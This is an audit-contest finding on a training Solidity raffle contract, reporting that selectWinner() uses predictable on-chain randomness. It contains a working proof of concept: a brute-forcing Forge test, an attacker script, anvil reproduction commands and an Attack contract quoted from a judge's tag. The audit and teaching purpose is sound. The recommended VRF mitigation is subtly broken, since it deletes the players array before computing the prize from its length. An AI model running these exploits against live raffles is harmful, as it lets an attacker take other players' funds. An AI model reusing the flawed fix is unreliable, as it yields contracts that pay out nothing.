Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak PRNG in `selectWinner()` allows miners and attackers to manipulate the winner

Description

selectWinner() generates the winner index and the NFT rarity using keccak256 over on-chain values that are either publicly known or miner-controlled:

// src/PuppyRaffle.sol#L128-L129
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// src/PuppyRaffle.sol#L139
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
  • msg.sender — chosen by the attacker

  • block.timestamp — can be influenced by validators (up to ~12 seconds)

  • block.difficulty — on Ethereum post-Merge this is block.prevrandao, which while harder to manipulate, is still not cryptographically safe for economic decisions

An attacker who calls selectWinner() knows their own msg.sender and can read block.timestamp and block.difficulty from a pending block or simulate them locally to brute-force a call that lands on their own address as winner.

Impact

A malicious caller or validator can guarantee they win the raffle prize (80% of the prize pool) and can also manipulate the NFT rarity to always mint a Legendary. The entire fairness assumption of the raffle is broken. All other players are guaranteed to lose.

Proof of Concept

How the attack works in plain terms:

The attacker runs the same keccak256 formula the contract uses — off-chain — before ever submitting a transaction. Since all inputs (msg.sender, block.timestamp, block.difficulty) are publicly visible, the winner is fully known in advance. If the result is not favourable, the attacker waits for a better block. Miners and validators go further — they directly set block.timestamp to guarantee their preferred outcome.


1. Forge unit test — definitive automated proof (test/PuppyRaffleTest.t.sol)

This test proves the PRNG is deterministic and predictable by computing the winner index using the exact same formula as the contract, then verifying the prediction matches reality:

function test_PRNGPredictionManipulation() public {
address[] memory players = new address[](4);
players[0] = playerOne; // slot 0
players[1] = playerTwo; // slot 1 — target
players[2] = playerThree; // slot 2
players[3] = playerFour; // slot 3
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
address targetWinner = playerTwo;
PRNGAttacker attacker = new PRNGAttacker(address(puppyRaffle), targetWinner, 4);
// Pre-compute using the same formula as PuppyRaffle.sol#L128-129
uint256 predictedIndex =
uint256(keccak256(abi.encodePacked(address(attacker), block.timestamp, block.difficulty))) % 4;
address predictedWinner = players[predictedIndex];
// Scan block offsets until target wins, then fire
if (predictedWinner != targetWinner) {
for (uint256 i = 1; i <= 10; i++) {
vm.warp(block.timestamp + i);
vm.roll(block.number + i);
(address pred,) = attacker.predictWinner();
if (pred == targetWinner) {
attacker.attackSelectWinner();
break;
}
}
} else {
attacker.attackSelectWinner();
}
assertEq(puppyRaffle.previousWinner(), targetWinner);
}

Test result:

[PASS] test_PRNGPredictionManipulation() ✅
Logs:
---------- PRNG PREDICTION ----------
Predicted winner slot: 2
Predicted winner : 0x0000000000000000000000000000000000000003
Target lost this block. Warping to find a winning block...
Found winning block at warp offset: 4
-------------------------------------
PROOF: The winner was known before selectWinner() was called.
A fair raffle cannot be predicted. This one can.

2. On-chain prediction script (script/AttackPRNG.sol) — methodology demonstration

This script proves that before calling selectWinner(), the attacker can compute exactly who will win using publicly available block data:

contract AttackPRNG is Script {
function run(address puppyRaffleAddress) external {
uint256 callerPrivateKey = vm.envUint("ATTACKER_KEY");
address callerEOA = vm.addr(callerPrivateKey);
PuppyRaffle raffle = PuppyRaffle(puppyRaffleAddress);
// Step 1: Predict winner BEFORE calling selectWinner
// Exact same formula as PuppyRaffle.sol#L128-129
uint256 predictedIndex =
uint256(keccak256(abi.encodePacked(callerEOA, block.timestamp, block.difficulty))) % 4;
address predictedWinner = raffle.players(predictedIndex);
// Step 2: Call selectWinner — winner was already known
vm.startBroadcast(callerPrivateKey);
raffle.selectWinner();
vm.stopBroadcast();
// Step 3: Verify
address actualWinner = raffle.previousWinner();
console.log("Predicted winner :", predictedWinner);
console.log("Actual winner :", actualWinner);
console.log("Prediction correct :", actualWinner == predictedWinner);
}
}

To reproduce:

# Terminal 1
anvil
# Terminal 2
forge script script/DeployPuppyRaffle.sol:DeployPuppyRaffle --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast
export CONTRACT=<deployed address>
cast send $CONTRACT "enterRaffle(address[])" "[0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC,0x90F79bf6EB2c4f870365E785982E1f101E93b906,0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65,0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc]" --value 4000000000000000000 --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
cast rpc anvil_increaseTime 86401 --rpc-url http://127.0.0.1:8545
cast rpc anvil_mine --rpc-url http://127.0.0.1:8545
export ATTACKER_KEY=0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e
forge script script/AttackPRNG.sol:AttackPRNG --sig "run(address)" $CONTRACT --rpc-url http://127.0.0.1:8545 --private-key $ATTACKER_KEY --broadcast
# Run the definitive forge test
forge test --match-test test_PRNGPredictionManipulation -vvv

Note on Anvil simulation vs broadcast: The script's prediction is computed in the simulation phase using the current block's values. The broadcast transaction lands in the next block with a slightly different block.timestamp (+1 second). This 1-second shift is itself proof of the vulnerability — a miner or validator who controls block.timestamp directly can guarantee any outcome. On a real chain, they would simply set the timestamp to the value that makes their preferred address win.


3. Key observation — the winner changes with every second

block.timestamp offset Winner
+0 seconds Account 3 (0x90F7...)
+4 seconds Account 2 (0x3C44...)
+7 seconds Account 4 (0x15d3...)

A miner selects any row from this table and sets block.timestamp accordingly — choosing the winner before the block is even published.

Recommended Mitigation

Why block.timestamp, block.difficulty, and msg.sender are not safe entropy sources:

Source Why it fails
block.timestamp Validators can shift it by ~±12 seconds to pick a preferred winner
block.difficulty Deprecated post-Merge; maps to PREVRANDAO, which validators partially influence
msg.sender The attacker controls this — they can deploy from any address they choose
keccak256 of the above A deterministic hash of predictable inputs is itself predictable

Option 1 — Chainlink VRF v2 (Recommended)

Use Chainlink VRF (Verifiable Random Function) — the industry standard for verifiably fair, tamper-proof on-chain randomness. The random number is generated off-chain with a cryptographic proof that the contract verifies before using the value.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2Plus {
// VRF configuration (Ethereum mainnet values — update per network)
bytes32 private constant KEY_HASH =
0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;
uint256 private immutable i_subscriptionId;
uint16 private constant REQUEST_CONFIRMATIONS = 3;
uint32 private constant NUM_WORDS = 2; // winnerIndex + rarity
uint256 private s_raffleState; // 0 = OPEN, 1 = CALCULATING
uint256 private s_requestId;
constructor(address vrfCoordinator, uint256 subscriptionId)
VRFConsumerBaseV2Plus(vrfCoordinator)
{
i_subscriptionId = subscriptionId;
}
// Step 1: request randomness — nobody can predict the result yet
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
require(s_raffleState == 0, "PuppyRaffle: Already calculating");
s_raffleState = 1; // lock the raffle while waiting for VRF
s_requestId = s_vrfCoordinator.requestRandomWords(
VRFV2PlusClient.RandomWordsRequest({
keyHash: KEY_HASH,
subId: i_subscriptionId,
requestConfirmations: REQUEST_CONFIRMATIONS,
callbackGasLimit: 500_000,
numWords: NUM_WORDS,
extraArgs: VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
)
})
);
}
// Step 2: Chainlink delivers the random number — we use it here
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
internal
override
{
require(requestId == s_requestId, "PuppyRaffle: Wrong request");
uint256 winnerIndex = randomWords[0] % players.length;
uint256 rarity = randomWords[1] % 100;
address winner = players[winnerIndex];
// CEI: update state before transferring funds
previousWinner = winner;
s_raffleState = 0;
delete players;
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees += uint256(fee); // also fix the uint64 overflow (see H-3)
_safeMint(winner, tokenCounter);
tokenCounter++;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool");
}
}

Option 2 — Commit-Reveal Scheme (No Oracle Dependency)

A two-phase approach where the randomness is committed to before the reveal block, making last-minute manipulation impossible. Suitable if you cannot integrate Chainlink VRF.

// Phase 1: anyone commits a secret hash before raffle ends
mapping(address => bytes32) public commitments;
function commitSecret(bytes32 secretHash) external {
require(block.timestamp < raffleStartTime + raffleDuration, "PuppyRaffle: Raffle already over");
commitments[msg.sender] = secretHash;
}
// Phase 2: after raffle ends, reveal the secret — used as entropy
function revealAndSelectWinner(bytes32 secret) external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(commitments[msg.sender] == keccak256(abi.encodePacked(secret)), "PuppyRaffle: Invalid reveal");
// Mix committed secret with block hash of a *past* block (already mined, immutable)
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(secret, blockhash(block.number - 1)))
) % players.length;
// proceed with winner selection...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!